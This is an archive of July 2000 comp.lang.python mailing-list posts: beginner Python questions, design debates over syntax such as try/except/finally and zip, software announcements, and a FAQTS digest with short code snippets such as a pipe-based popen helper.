i am a newbie in the python world. from my understanding so far,
i thought that ** operator and pow functions are symmetrical. but
apparently i was wrong, e.g. -1**0 yields -1 but pow(-1,0) yields
1 (which is correct).

any pointers on why this is ?
please be gentle !!!

thanks

anupam






From dnotspam-jen at personic.com  Mon Jul 17 21:26:58 2000
From: dnotspam-jen at personic.com (donotspam-jen@personic.com)
Date: Mon, 17 Jul 2000 18:26:58 -0700
Subject: Multiline strings and indentation
References: <39736250$0$14722@wodc7nh6.news.uu.net> <39736E71.AE8B128B@sec.noaa.gov>
Message-ID: <3973af3b$0$27161@wodc7nh1.news.uu.net>

Umm, yes to everyone who replied. But ... that's quite a few more keystrokes
to add.

It's a little less work to use parentheses:

print ("the first line of text\n"
       "the second line of text \n"
       "the third line ... \n")

But in both cases you have to put in extra quotes and explict newline
characters (unless you don't care where the text wraps). Multi-line strings
save a bit of typing, and are a bit easier to reformat when editing. So I
guess this means I have to choose between weird indentation (multi-line
strings) or typing more characters?

Jen

"j vickroy" <jvickroy at sec.noaa.gov> wrote in message
news:39736E71.AE8B128B at sec.noaa.gov...
> How about:
>
> >>> print "this" + \
>                 " is" + \
>                 " a" + \
>                 " long" + \
>                 " string"
>
> this is a long string
> >>>
>
> "donotspam-jen at personic.com" wrote:
>
> > I'm just getting started with Python. The indentation feature really
does
> > make things readable ... except when using multi-line strings.  This
just
> > doesn't look right:
> >
> > def multiline(x):
> >   if x:
> >     print """this is a
> > multi-line string that spans
> > three lines"""
> >  print "another string"
> >
> > Is there a way to make the above more readable? It would be nice if it
could
> > be written this way and have Python just figure out what whitespace to
> > ignore:
> >
> > def multiline(x):
> >   if x:
> >     print """this is a
> >              multi-line string that spans
> >              three lines"""
> >  print "another string"
> >
> > Thanks for any suggestions!
> >
> > Jen
>




From aahz at netcom.com  Sat Jul 29 10:56:15 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 29 Jul 2000 14:56:15 GMT
Subject: Python 3000 ?
References: <8lttuq$9c8$1@serv1.albacom.net>
Message-ID: <8luraf$e2p$1@slb1.atl.mindspring.net>

In article <8lttuq$9c8$1 at serv1.albacom.net>,
Patrick Fichou <fichou at katamail.com> wrote:
>
>What is(will be) Python 3000 ?

Standard answer:

Nobody -- repeat, nobody -- has the answers to these questions.  Py3K is
a codename for a project that has not yet started.  Py3K is predicated
to a certain extent -- to what extent, nobody knows -- on the Fred
Brooks maxim, "Build one to throw away."

There are certain design decisions that were made for Python 1.x that
Guido would like to revisit.  Some of these decisions *MAY* be changed
in ways that break 1.x code.  Py3K is the name of the version that *MAY*
have these incompatibilities.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From jhunt at hpbs1711.boi.hp.com  Mon Jul 17 16:25:47 2000
From: jhunt at hpbs1711.boi.hp.com (Jacob Hunt)
Date: Mon, 17 Jul 2000 14:25:47 -0600
Subject: nis module error
Message-ID: <39736BCB.626BD669@hpbs1711.boi.hp.com>

I am new to python and want to use the nis module.  When I import the
module I get the error:

Traceback (innermost last):
  File "<stdin>", line 1, in ?
ImportError: /usr/lib/python1.5/lib-dynload/nismodule.so: undefined
symbol: yperr_string

what does this mean?  How can I correct the problem or is there a way
around it.

I am using python 1.5.2 on x86 SuSE 6.4.

Thanks for the help
-- 
Jacob Hunt


From level2junkie at my-deja.com  Thu Jul 13 15:25:19 2000
From: level2junkie at my-deja.com (level2junkie at my-deja.com)
Date: Thu, 13 Jul 2000 19:25:19 GMT
Subject: calling .exe inside a .py?
Message-ID: <8kl527$tke$1@nnrp1.deja.com>

Does anyone know how to call an .exe file from inside a .py file?


Sent via Deja.com http://www.deja.com/
Before you buy.


From wware at world.std.com  Mon Jul 10 23:00:34 2000
From: wware at world.std.com (Will Ware)
Date: Tue, 11 Jul 2000 03:00:34 GMT
Subject: [ANN] Python port to Palm Pilot
References: <200007070140.SAA31035@wd264.aero.org> <200007101546.IAA09887@rushe.aero.org>
Message-ID: <FxIJ0z.H28@world.std.com>

JEFFERY COLLINS (collins at rushe.aero.org) wrote:
> Download the .zip file instead.  Apparently, downloading
> the .prc files using a browser corrupts the files.

I also ran into a nasty crash that required a cold boot,
inspite of using the .zip file. The file sizes are correct
according to the download web page. Is it possible the last
test just takes such a long time that it ties up the 68k and
only appears to have crashed? The place it stops is "Testing
3-argument pow() function..."

Wait, it's moving again! It returned to the main menu. Cool.

What are the chances of getting a read-eval-print loop
running on the Pilot? While I'd rather write Pilot apps in
Python than some other languages, I'd love to be able to
write Python source right on the Pilot itself.
-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From thomas at xs4all.net  Fri Jul  7 18:55:28 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sat, 8 Jul 2000 00:55:28 +0200
Subject: Making tabs illegal
In-Reply-To: <8k5l8d$9lr$1@nnrp1.deja.com>; from fcahoon@my-deja.com on Fri, Jul 07, 2000 at 10:23:18PM +0000
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com>
Message-ID: <20000708005527.L26534@xs4all.nl>

On Fri, Jul 07, 2000 at 10:23:18PM +0000, Forrest Cahoon wrote:
> In article <3950C0E2.7532D38 at sightreader.com>,
>   Ken Seehof <kens at sightreader.com> wrote:
> > [ ... ]
> >
> > As for the space/tab mixing issue, the answer is simple: Make tab an
> > illegal character in python.  Problem solved.

> Has anyone tried to patch the python sources to do this?  I'm too
> uncomfortable with the tab/space ambiguity to do serious work in python
> (in a team environment with programmers of varying skill levels) but
> this would *totally* solve it for me.

Guido's time machine strikes again ! I'm not sure how far back he went this
time, but certainly well before I did anything with Python ;) There's the
-t flag which does exactly what you want: '-t' warns when tabs and spaces
are mixed in a dangerous way. '-tt' emits a compile-time exception.

> I started to look at the python sources to do this myself, but I'm sure,
> since I'm totally unfamiliar with the internals at this point, my
> solution would probably be an ugly hack.

Well, asside from the fact that the requested feature is there already, I
can tell you that the Python internals are a very pleasant thing to hack !
It probably sounds less impressive from a nameless figure like me than from
some bigshot like Eric Raymond ;) but I was very impressed by the quality of
the code. And editing good code makes it very hard to write something
hackish, both because it's easy to find out how it should really be done,
and because it's a bit unfriendly... :-)

Laat-niet-als-dank-voor-het-aangenaam-verpozen---
  --de-maintainer-van-deze-source-de-schillen-en-de-dozen-<wink>ly y'rs,

(Before we get another Dutch <> English <> Swahili <> etc war, that means
'clean up after you' in an old dutch proverb ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From samschul at pacbell.net  Wed Jul  5 10:18:06 2000
From: samschul at pacbell.net (Sam Schulenburg)
Date: Wed, 05 Jul 2000 14:18:06 GMT
Subject: ANS: ASPIPython update on Starship
Message-ID: <8jvg2d$8q5$1@nnrp1.deja.com>

I have made some corrections to ASPIPython, that correct memory leaks
found in aspi.dll.

ASPIPython is a open source python interface to the (A)dvanced (S)
system (P)programming (I)nterface for SCSI devices developed by Adaptec
Corp. This interface allows for the development of tests under Python
for SCSI disk drives. These routines can be found at
http://starship.python/crew/schulen

Sam Schulenburg


Sent via Deja.com http://www.deja.com/
Before you buy.


From lull at acm.org  Fri Jul 14 23:05:03 2000
From: lull at acm.org (John Lull)
Date: 14 Jul 2000 22:05:03 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be> <396F1914.DBE530CA@prescod.net>
Message-ID: <f9jvmschdj3ihoouppp6fnsh3jhi6dq90h@4ax.com>

Paul Prescod <paul at prescod.net> wrote (with possible deletions):

> You are asking for a
> lot of syntax but not proposing that your module go into Python. In
> other words it is a lot of syntax that doesn't get used until you
> install a third party module.

Well shoot, if that's the objection, then put it in the standard
distribution! :)

The problem is that Python provides no way for an add-on module to
define new operators.  It's thus impossible to provide appropriate
notation *without* making it part of the language.  If there were some
way to define, in the module, how to interpret specific new operators,
that should be adequate -- but that seems like a *far* more difficult
solution than what's needed here.

Unfortunately, the current lack of appropriate notation makes these
problems very difficult to code clearly.

Regards,
John


From olivierS.dagenaisP at canadaA.comM  Fri Jul  7 09:56:39 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Fri, 07 Jul 2000 13:56:39 GMT
Subject: What about try:except:finally
References: <3967d908.363887342@news.online.no>
Message-ID: <rkl95.48923$W35.1068917@news20.bellglobal.com>

If I remember the tutorial correctly, it doesn't support finally with
anything else.  I have a feeling you would need to do:

try:
    #init
    try:
       # stuff
    except:
       # stuff
finally:
    #stuff

...that is, assuming that your "except" would only catch specific exceptions
that you would want to prepare an error message with.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Thomas Weholt" <thomas at cintra.no> wrote in message
news:3967d908.363887342 at news.online.no...
> Hi,
>
> Does python support, or if not, would it be cool to have support for :
>
> try:
> # some code
> except :
> # catch exception
> finally:
> # clean up whatever
>
> Thomas




From rumjuggler at cryptarchy.org  Fri Jul 28 23:35:05 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 03:35:05 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com>
Message-ID: <ogk4oso77hu55jepdvssdj7od4s1j481rh@4ax.com>

On Fri, 28 Jul 2000 22:04:37 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 11:55:51 -0700, Erik Max Francis <max at alcyone.com> wrote:
>>Steve Lamb wrote:
>>
>>>     As a human, type 1.  Character?  String?  Integer?  Floating
>>> number?  No,
>>> it is 1 and it can be all of those all on context.
>
>>In Python, and most programming languages that have some notion of type,
>>it is an integer.  If you wanted a string, then you'd have typed '1', or
>>converted it to a string with `1` or repr(1) or str(1).
>
>    Most, not all.  Again, I ask, as a /human/.  Not as a computer,
>calculator, dog, fish, pet rock, face on mars, some gas creature in
>delta-theta 3 (word up, gass monster) or almond, is 1 a character a string an
>integer a floating point number or what?  If you have problems ask about 2
>dozen people off the street what 1 is with that question and see how many
>puzzled looks you get.

If you write the numeral one on a board and ask 2 dozen people off the
street what it is, how many of them will say it's a sequence?

Seeing what the quote in my .sig is, I'd like to emphasize that it was
chosen randomly.

-- 
Barnabas T. Rumjuggler

Is this going to be another episode where you have to be sodomized with the
Clue Branch before you shut up and admit you're wrong?
 -- John S. Novak III, the Humblest Man on the Net.


From wilson.austin.aj at bhp.com.au  Sat Jul 22 17:09:27 2000
From: wilson.austin.aj at bhp.com.au (A J Wilson)
Date: Sun, 23 Jul 2000 07:09:27 +1000
Subject: wxPython and jPython
References: <8ld08k$h5s$1@gossamer.itmel.bhp.com.au> <397A0A31.9669504A@san.rr.com>
Message-ID: <8ld2dt$kg5$1@gossamer.itmel.bhp.com.au>

The reason I ask is that I applied similar logic to yourself but have so far
been unsuccessful.  However I am a newbie at this stuff.

Regards
Austin

"Courageous" <jkraska1 at san.rr.com> wrote in message
news:397A0A31.9669504A at san.rr.com...
>
> > Is it possible to use wxPython under jPython?  The reason I wish to do
so is
> > that I have a java-based API that I wish to use under jpython but do not
> > wish to go to the trouble of learning AWT or SWING for the GUI.
>
> Well, while someone will no doubt answer you definitely in a moment,
> if JPython allows access to c native .dll python extensions, of course
> the answer is yes. Haven't done this myself, however, so all you have
> right now is my (maybe faulty) reasoning process. :)
>
>
>
> C/




From tim_one at email.msn.com  Sun Jul  9 12:14:12 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 9 Jul 2000 12:14:12 -0400
Subject: What about try:except:finally
In-Reply-To: <p6qn1jr4noa.fsf@informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEONGIAA.tim_one@email.msn.com>

[Martin von Loewis]
> That also shows that having try:except:finally is perhaps not a good
> idea. Given
>
> try:
>   A
> except:
>   B
> finally:
>   C
>
> is that the same as
>
> try:
>   try:
>     A
>   finally:
>     C
> except:
>   B
>
> or as
>
> try:
>   try:
>     A
>   except:
>     B
> finally:
>   C
>
> or is it something else? If so, what would it be? And why not one of
> the others?

Sorry that I haven't followed this whole thread, but if no old-timer has
pointed it out before, Python *used* to allow try/except/finally all at the
same level.  For exactly the reason Martin gave here, that was removed
before Python's first public release.  From Misc/HISTORY:

    New features in 0.9.6:
    - stricter try stmt syntax: cannot mix except and finally clauses on 1
try

The ambiguity Martin pointed out here was real:  it's not at all obvious
what mixing them means, and about half <wink> the users guessed wrong about
what the implementation actually did.

explicit-is-better-than-implicit-ly y'rs  - tim





From db3l at fitlinxx.com  Fri Jul  7 20:32:53 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 07 Jul 2000 20:32:53 -0400
Subject: FILE * arguments in C API ??
References: <396628D5.12ECD88@tds.net>
Message-ID: <uhfa1bgwa.fsf@ctwd0143.fitlinxx.com>

"Edward K. Ream" <edream at tds.net> writes:

> Alas, there appears to be a botch in the C API's.  In particular,
> routines like
> 
>    int PyRun_AnyFile (FILE *fp, char *filename)
> 
> can not be included usefully in python/libs because struct FILE's will
> be different when built by different compilers. This wouldn't matter if
> it
> were easy/possible to rebuild python/libs using one's own compiler.
> 
> Any comments?  Any suggestions?

I can't necessarily comment on the "easy" but is there a reason why it
isn't "possible" to rebuild python/libs for your compiler?  I mean,
it's not like the source isn't available.  You might have to
statically link if you needed to co-exist on a system with the
standard Python DLL, or at least rename the DLL if building a DLL.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From mtebeka at intel.com  Thu Jul 20 02:19:15 2000
From: mtebeka at intel.com (Miki Tebeka)
Date: Thu, 20 Jul 2000 09:19:15 +0300
Subject: are there any tutorials that someone completly new to programming
 can understand?
In-Reply-To: <8l4klm$2kl$1@slb6.atl.mindspring.net>
References: <8l4klm$2kl$1@slb6.atl.mindspring.net>
Message-ID: <Pine.WNT.4.21.0007200915560.434-100000@ilsnt0396.iil.intel.com>

Hello Dan,

> well..im 17 and thought that i should start with a programming language, and
> after checking with some of my friends, they pointed me to python
> 
> but, all the tutorials seem to be for those that have spent years in
> programming (mabey im just looking in the wrong places) but id really like
> to try my hand at this

Python is a good start when learning how to program.
Have a look at:
http://www.honors.montana.edu/~jjc/easytut/easytut/

You can find more links at:
http://www.python.org/sigs/edu-sig/

As a secnod (first?) choice I'd also recommend Scheme:
http://www.cs.rice.edu/CS/PLT/Teaching/Lectures/Released/Book/
and I you can get a hold of the book "The little Schemer" it'll give you a
good start.

Bye.
------------------------------------------------------------------------------
Smile, damn it, smile.

(lambda (msg)
  (case msg
	((name)		"Miki Tebeka")
	((email)	"tebeka at lycosmail.com")
	((homepage)	"http://www.tebeka.freeservers.com")
	((quote)	"I don't suffer from insanity, I enjoy every minute of it.")))



From stephen_purcell at yahoo.com  Sat Jul  1 23:06:10 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Sun, 2 Jul 2000 13:06:10 +1000
Subject: [ANNOUNCE] PyUnit 1.2.0 test framework with GUI
Message-ID: <20000702130610.A31857@inkontact.com.au>

The latest release of the PyUnit unit testing framework features a
long overdue Tkinter based GUI akin to that of Java's JUnit. Should work
straight out-of-the-box with most Python installations.

Modules being tested are automatically reloaded each time they are run,
so the GUI can be left running while you code and debug.

As usual, interested parties can find out more at

  http://pyunit.sourceforge.net/

Go on, write some tests; you know you want to! <grin>

Pythonic best wishes to all,

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/



From ge at nowhere.none  Fri Jul  7 14:03:17 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 07 Jul 2000 18:03:17 GMT
Subject: Help me.....please
References: <OVo95.1407$SH2.5339@news.iol.ie>
Message-ID: <FXo95.3405$iN5.856680@ptah.visi.com>

In article <OVo95.1407$SH2.5339 at news.iol.ie>, Occute wrote:

>when ever i try to use the command else: in python it gives me a error.....i
>even coppied a exact eg from the manual and it still gives me the same error

Post the program you're trying to run and the error message you
get.

-- 
Grant Edwards                   grante             Yow!  Quick, sing me the
                                  at               BUDAPEST NATIONAL ANTHEM!!
                               visi.com            


From moshez at math.huji.ac.il  Tue Jul 18 02:32:44 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 18 Jul 2000 09:32:44 +0300 (IDT)
Subject: newbie unimpressed...
In-Reply-To: <8kvp81$9q1$1@nnrp1.deja.com>
Message-ID: <Pine.GSO.4.10.10007180932050.11187-100000@sundial>

On Mon, 17 Jul 2000 sharkey3 at my-deja.com wrote:

> Example:  where is the % operator documented for strings?

In the library reference, under "standard types"

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From robin at jessikat.fsnet.co.uk  Tue Jul 18 13:54:40 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 18 Jul 2000 18:54:40 +0100
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
Message-ID: <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk>

I suppose there must be something desperately wrong with using the
__mul__ for sequences to indicate the set pairwise product. I would
certainly be for

x,y in A*B rather than x,y in zip(A,B) or marry(A,B), but since * is the
obvious operator it must be that someone else has reserved it.
-- 
Robin Becker


From tim_one at email.msn.com  Sat Jul 22 03:29:58 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sat, 22 Jul 2000 03:29:58 -0400
Subject: zip or marry etc
In-Reply-To: <m34s5lpxie.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEENGLAA.tim_one@email.msn.com>

[Michael Hudson]
> However, it looks very much as though it's going to be called "zip".

Indeed, Guido called it "zip" during his "State of Python" keynote address
at the O'Reilly conference on Thursday, and demo'ed it live in an IDLE
shell.  If he changes the name now, he'll doubtless get sued <0.9 wink>.

> move-along-folks-nothing-to-see-here-ly y'rs
> M.

except-for-pain-&-suffering-ly y'rs  - tim





From fiona at sitegnome.com  Thu Jul 13 17:40:19 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 13 Jul 2000 21:40:19 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 13th, 2000
Message-ID: <20000713214019.24273.qmail@synop.com>

Hi guys,

I'm a little confused :-) yesterday I'm pretty sure I sent out a summary 
to the list, it doesn't seem to have made it though so this is a second 
attempt.  Apologies if it makes it twice now.

So, what's been entered into http://python.faqts.com:

- How can you check on the status of a file's "archive" bit, on DOS-type 
platforms
- What Python code can I use to find all the network ports that are in 
use on a server?
- Can I use python to access web (eg.yahoo) email account?
- Is there any way to find the mount point of a filesystem given the 
path to a file within the file system?
- How can I create a wxBitmap image from a Python Imaging Library (PIL) 
image?
- How can I compare two strings in a case-insensitive way?
- What is wxPython? How does it compare with Tkinter?
- Bidirectional communication through pipes: read/write popen()

cheers, Fiona


## Unanswered Questions ########################################


-------------------------------------------------------------
How can you check on the status of a file's "archive" bit, on DOS-type platforms
http://www.faqts.com/knowledge-base/view.phtml/aid/4706
-------------------------------------------------------------
Barry Pederson



## New Entries #################################################


-------------------------------------------------------------
What Python code can I use to find all the network ports that are in use on a server?
http://www.faqts.com/knowledge-base/view.phtml/aid/4684
-------------------------------------------------------------
Fiona Czuczman
Aaron Berg

to figure out what ports are used on a server you could use netstat -a 
-n

import os 
popen("netstat -a -n")


-------------------------------------------------------------
Can I use python to access web (eg.yahoo) email account?
http://www.faqts.com/knowledge-base/view.phtml/aid/4685
-------------------------------------------------------------
Fiona Czuczman
Steve Purcell

For web mail accounts that have POP access, such as Yahoo, check out
the 'poplib' standard library module:

  http://www.python.org/doc/current/lib/pop3-example.html


-------------------------------------------------------------
Is there any way to find the mount point of a filesystem given the path to a file within the file system?
http://www.faqts.com/knowledge-base/view.phtml/aid/4686
-------------------------------------------------------------
Fiona Czuczman
John Clonts

I didn't find anything already extant, so here's this:

def mountpoint(s):
    import os
    if (os.path.ismount(s) or len(s)==0): return s
    else: return mountpoint(os.path.split(s)[0])

def testit():
    print mountpoint("/home/john/scheme/cmucl")
    print mountpoint("/usr/local")
    print mountpoint("/lib/")
    print mountpoint("lib")


-------------------------------------------------------------
How can I create a wxBitmap image from a Python Imaging Library (PIL) image?
http://www.faqts.com/knowledge-base/view.phtml/aid/4687
-------------------------------------------------------------
Fiona Czuczman
Greg Landrum

Here's some sample code:
def PilImgToWxBmp(pilImg):
  wxImg = wxEmptyImage(pilImg.size[0],pilImg.size[1])
  wxImg.SetData(pilImg.tostring())
  bmp = wxImg.ConvertToBitmap()
  return bmp


-------------------------------------------------------------
How can I compare two strings in a case-insensitive way?
http://www.faqts.com/knowledge-base/view.phtml/aid/4688
-------------------------------------------------------------
Fiona Czuczman
Bjorn Pettersen

import string

if string.lower("FOO") == string.lower("Foo"):
   <do something useful>


## Edited Entries ##############################################


-------------------------------------------------------------
What is wxPython? How does it compare with Tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/3565
-------------------------------------------------------------
Fiona Czuczman, Olivier Dagenais
Shae Erisson

wxPython [ http://www.wxpython.org ] is a set of Python bindings for 
the GUI toolkit wxWindows [ http://www.wxwindows.org ], that was 
written as a C++ library to provide a platform-independant way of 
implementing rich and fast user interfaces.

I chose wxPython over Tkinter (for my projects) because:
- wxWindows seems to have more widgets than Tk
- special widgets (like the TreeView) are implemented using the 
operating system's native implementations, not complete re-writes
- it's more than a "lowest common denominator" among platforms, 
wxWindows seeks to provide the same, advanced functionality on all 
platforms, even if it means they have to write a lot of code to 
complement a platform's native component
- wxWindows seems to cover more ground, in terms of functionality (it's 
more than a GUI toolkit, it also seeks to provide functions/classes for 
files, threads, printing, clipboard, networking, ODBC, etc...)
- I was *really* impressed with the wxPython demo


-------------------------------------------------------------
Bidirectional communication through pipes: read/write popen()
http://www.faqts.com/knowledge-base/view.phtml/aid/4448
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman
Hans Nowak, Snippet 259, Hrvoje Niksic

"""
Packages: files;miscellaneous
"""

'''
In all kinds of circumstances it would be very useful to call an
external filter to process some data, and read the results back in.
What I needed was something like popen(), only working for both
reading and writing.  However, such a thing is hard to write in a
simple-minded fashion because of deadlocks that occur when handling
more than several bytes of data.  Deadlocks can either be caused by
both programs waiting for not-yet-generated input, or (in my case) by
both their writes being blocked waiting for the other to read.

The usual choices are to:

a) Write a deadlock-free communication protocol and use it on both
   ends.  This is rarely a good solution, because the program that
   needs to be invoked is in most cases an external filter that knows
   nothing about our deadlock problems.

b) Use PTY's instead of pipes.  Many programmers prefer to avoid this
   path because of the added system resources that the PTY's require,
   and because of the increased complexity.

Given these choices, most people opt to use a temporary file and get
it over with.

However, discussing this problem with a colleague, he thought of a
third solution: break the circularity by using a process only for
reading and writing.  This can be done whenever reading and writing
are independent, i.e. when the data read from the subprocess does not
influence future writes to it.

The function below implements that idea.  Usage is something like:

rwpopen("""Some long string here...""", "sed", ["s/long/short/"])
  -> 'Some short string here...'

I've put the function to good use in a program I'm writing.  In
addition to getting rid of temporary files, the whole operation timed
faster than using a tmpfile (that was on a single-CPU machine).  The
function will, of course, work only under Unix and its lookalikes.
Additional information is embedded in the docstring and the comments.

I'd like to hear feedback.  Do other people find such a thing useful?
Is there a fundamental flaw or a possibility of a deadlock that I'm
missing?
'''

def rwpopen(input, command, args=[]):
    """Execute command with args, pipe input into it, and read it back.
    Return the result read from the command.

    Normally, when a process tries to write to a child process and
    read back its output, a deadlock condition can occur easily,
    either by both processes waiting for not-yet-generated input, or
    by both their writes() being blocked waiting for the other to
    read.

    This function prevents deadlocks by using separate processes for
    reading and writing, at the expense of an additional fork().  That
    way the process that writes to an exec'ed command and the process
    that reads from the command are fully independent, and no deadlock
    can occur.  The child process exits immediately after writing.

    More precisely: the current process (A) forks off a process B,
    which in turns forks off a process C.  While C does the usual
    dup,close,exec thing, B merely writes the data to the pipe and
    exits.  Independently of B, A reads C's response.  A deadlock
    cannot occur because A and B are independent of each other -- even
    if B's write() is stopped because it filled up the pipe buffer, A
    will happily keep reading C's output, and B's write() will be
    resumed shortly.
    """
    # XXX Redo this as a class, with overridable methods for reading
    # and writing.
    #
    # XXX Provide error-checking and propagating exceptions from child
    # to parent.  This would require either wait()ing on the child
    # (which is a bag of worms), or opening another pipe for
    # transmitting error messages or serialized exception objects.
    #
    # XXX This function expects the system to wait for the child upon
    # receiving SIGCHLD.  This should be the case on most systems as
    # long as SIGCHLD is handled by SIG_DFL.  If this is not the case,
    # zombies will remain.

    def safe_traceback():
        # Child processes catch exceptions so that they can exit using
        # os._exit() without fanfare.  They use this function to print
        # the traceback to stderr before dying.
        import traceback
        sys.stderr.write("Error in child process, pid %d.\n" %
                         os.getpid())
        sys.stderr.flush()
        traceback.print_exc()
        sys.stderr.flush()

    # It would be nice if Python provided a way to see if pipes are
    # bidirectional.  In that case, we could open only one pipe
    # instead of two, with p_readfd == p_writefd and c_readfd ==
    # c_writefd.
    p_readfd, c_writefd = os.pipe()
    c_readfd, p_writefd = os.pipe()
    if os.fork():
        # Parent
        for fd in (c_readfd, c_writefd, p_writefd):
            os.close(fd)
        # Convert the pipe fd to a file object, so we can use its
        # read() method to read all data.
        fp = os.fdopen(p_readfd, 'r')
        result = fp.read()
        fp.close()                      # Will close p_readfd.
        return result
    else:
        # Child
        try:
            if os.fork():
                # Still the same child
                os.write(p_writefd, input)
            else:
                # Grandchild
                try:
                    # Redirect the pipe to stdin.
                    os.close(0)
                    os.dup(c_readfd)
                    # Redirect stdout to the pipe.
                    os.close(1)
                    os.dup(c_writefd)
                    # Now close unneeded descriptors.
                    for fd in (c_readfd, c_writefd, p_readfd, p_writefd):
                        os.close(fd)
                    # Finally, execute the external command.
                    os.execvp(command, [command] + args)
                except:
                    safe_traceback()
                    os._exit(127)
        except:
            safe_traceback()
            os._exit(127)
        else:
            os._exit(0)






From see at my.signature  Tue Jul 25 00:43:06 2000
From: see at my.signature (Greg Ewing)
Date: Tue, 25 Jul 2000 16:43:06 +1200
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194> <397BDCC6.9C498F01@my.signature> <397BF66A.EF8BDEF4@prescod.net>
Message-ID: <397D1ADA.A8074086@my.signature>

Paul Prescod wrote:
> 
> Then I can only presume that you look up the __get_?? method *first*
> before falling back to the "real" version. That will slow down plain old
> ordinary "gets" when there is no __get_?? method.

It seems I made a mistaken assumption about why you
chose to tie the three accessor together. I can see
your reason now.

In my version, there would be flags in each class 
indicating whether it had any accessors of each of 
the three types, so classes without any accessors
would not be affected.

For classes with accessors, there would be an extra
dictionary access for an attribute with no accessor,
so it would be slightly slower than yours in that case.
But it would still be a lot better than the current 
situation with __getattr__/__setattr__, which incurs
a Python function call for every attribute access.

So as usual it's a tradeoff between simplicity and 
ease of use, and squeezing out the last ounce of speed. 
I'd rather see a simpler design even if it's a little
bit slower -- that seems to be the Python way.

If you're still interested, here are the gory details:

Each class has three flags: has_get_accessors,
has_set_accessors, has_del_accessors. These are set
whenever an appropriately-named method is added to
the class.

Each instance also has the same three flags. These are set 
at instance creation time if the corresponding flags are 
set in the class or any of its superclasses.

To get attribute attr_name:
   if attr_name is in the instance dict:
      return it
   else:
      if the instance's has_get_accessors flag is set:
         translate attr_name to interned get_accessor_name using cache
      for each class along the inheritance path:
         if the class's has_get_accessors flag is set and it contains
            a method called get_accessor_name:
               call it and return the result
         else:
            if the class contains an attribute called attr_name:
               return it
      raise AttributeError

To set attribute attr_name:
   if the instance's has_set_accessors flag is set:
      translate attr_name to interned set_accessor_name using cache
      for each class along the inheritance path:
         if the class's has_set_accessors flag is set and it contains
            a method called set_accessor_name:
               call it and return
   set attr_name in the instance dict

To delete attribute attr_name:
   if the instance's has_del_accessors flag is set:
      translate attr_name to interned del_accessor_name using cache
      for each class along the inheritance path:
         if the class's has_del_accessors flag is set and it contains
            a method called del_accessor_name:
               call it and return
   delete attr_name from the instance dict

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From matt at nightrealms.com  Mon Jul 17 17:52:40 2000
From: matt at nightrealms.com (Matthew Cline)
Date: Mon, 17 Jul 2000 13:52:40 -0800
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net>
Message-ID: <trKc5.47978$MT.1599543@news-west.usenetserver.com>

